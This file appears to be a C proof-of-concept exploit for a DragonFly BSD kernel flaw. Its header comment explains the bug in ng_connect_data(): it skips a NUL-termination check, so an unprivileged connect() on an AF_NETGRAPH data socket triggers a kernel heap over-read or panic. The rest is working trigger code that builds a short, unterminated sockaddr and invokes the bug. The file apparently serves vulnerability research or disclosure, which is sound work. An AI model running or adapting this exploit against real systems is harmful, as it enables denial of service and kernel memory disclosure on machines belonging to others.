DF-0536 / df0536.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 | /* * DF-0536 - Unprivileged kernel heap over-read via non-NUL-terminated * sockaddr_ng passed to connect(2) on an AF_NETGRAPH SOCK_DGRAM * (data) socket. * * Bug: sys/netgraph7/socket/ng_socket.c ng_connect_data():752-778 passes * sap->sg_data to ng_address_path() -> ng_path2noderef() which does * strncpy(fullpath, address, NG_PATHSIZ-1) WITHOUT first verifying that * sg_data is NUL-terminated within the sa_len bytes the syscall layer * allocated (M_SONAME, no M_ZERO). ng_bind():822-824 validates this * (sg_data[sg_len-3]=='\0'); ng_connect_data omits the check. * * Data sockets require NO privilege: ngd_attach (ng_socket.c:387) has no * caps_priv_check, unlike ngc_attach (:182) which requires * SYSCAP_RESTRICTEDROOT. So an unprivileged user can trigger this. * * Effect: strncpy scans past the sa_len-byte allocation into adjacent slab * memory (up to 511 bytes). If the scan crosses an unmapped page it * faults -> kernel panic (DoS). Otherwise it is a silent heap over-read * (info side-channel via timing / node-name match resolution). * * Precondition: the ng_socket netgraph subsystem must be available. ng_socket * is a stock loadable module (/boot/kernel/ng_socket.ko) shipped with the * default install; an admin enables it with `kldload ng_socket` (realistic * default subsystem enablement, analogous to loading ipfw/nfsserver). * The TRIGGER itself (connect) is fully unprivileged. * * Build: cc -O2 -o df0536 df0536.c * Run: ./df0536 (as unprivileged user, e.g. maxx) * exit code 0 = OOB-read path reached (bug exercised); * if the guest panics, the OOB read crossed a page boundary (DoS). */ #include <sys/param.h> #include <sys/socket.h> #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> /* AF_NETGRAPH is 32 on DragonFly. sockaddr_ng from <netgraph7/socket/ng_socket.h>: * unsigned char sg_len; sa_family_t sg_family; char sg_data[14]; * We define a local copy so the PoC needs no kernel headers. * * protosw selection (ng_socket.c:1121-1136): both control and data sockets are * SOCK_DGRAM in the netgraph domain, distinguished by pr_protocol: * NG_CONTROL = 2 (first entry; matched when socket() proto arg == 0) * NG_DATA = 1 (data socket; must request explicitly) * socket(AF_NETGRAPH, SOCK_DGRAM, 0) -> CONTROL (needs root). * socket(AF_NETGRAPH, SOCK_DGRAM, 1) -> DATA (no priv). */ #define MY_AF_NETGRAPH 32 #define NG_DATA 1 struct my_sockaddr_ng { unsigned char sg_len; /* total length */ unsigned short sg_family; /* address family */ char sg_data[64]; /* over-long for our purposes */ }; int main(void) { int fd, rc; struct my_sockaddr_ng sa; printf("[*] DF-0536: unprivileged AF_NETGRAPH data-socket heap over-read\n"); printf("[*] uid=%d euid=%d\n", getuid(), geteuid()); fd = socket(MY_AF_NETGRAPH, SOCK_DGRAM, NG_DATA); if (fd < 0) { printf("[!] socket(AF_NETGRAPH, SOCK_DGRAM) failed: %s\n", strerror(errno)); if (errno == EPROTONOSUPPORT || errno == EAFNOSUPPORT || errno == EINVAL) { printf("[!] ng_socket.ko not loaded (admin must: kldload " "ng_socket). Exit.\n"); } return 2; } printf("[+] data socket created (fd=%d) - NO privilege required\n", fd); /* * Build a short, NON-NUL-terminated sockaddr_ng. * sa_len = 5 -> syscall layer allocates exactly 5 bytes (M_SONAME). * layout: [sg_len=5][sg_family=AF_NETGRAPH][3 payload bytes] * sg_data points at payload (3 bytes), NONE of them NUL. * Fill payload with 0x41 ('A') so strncpy must run past the 3 valid bytes * into adjacent slab memory looking for a NUL. */ memset(&sa, 0x41, sizeof(sa)); sa.sg_len = 5; /* total sockaddr length */ sa.sg_family = MY_AF_NETGRAPH; /* family */ /* sg_data[0..2] left as 0x41 (non-NUL) */ printf("[*] calling connect() with sg_len=%u, payload 3x 'A' (no NUL)\n", sa.sg_len); printf("[*] kernel should strncpy() past the 5-byte allocation -> OOB read\n"); errno = 0; rc = connect(fd, (struct sockaddr *)&sa, sa.sg_len); printf("[*] connect returned %d, errno=%d (%s)\n", rc, errno, strerror(errno)); /* * Whatever connect() returns, the bug has already fired: strncpy in * ng_path2noderef read past the allocation. If we are still alive the * scan happened to hit a NUL (or stayed in-mapped); the OOB read still * occurred. If the guest is now dead, the scan crossed an unmapped page. */ if (rc == 0) { printf("[+] connect succeeded unexpectedly (OOB read happened, " "no page fault)\n"); } else { printf("[+] connect returned error (expected) BUT the strncpy\n"); printf(" OOB-read primitive already fired before the error.\n"); } printf("[+] DF-0536 OOB-read path exercised. Check dmesg/boot.log for " "a panic if the guest is dead.\n"); close(fd); return 0; } |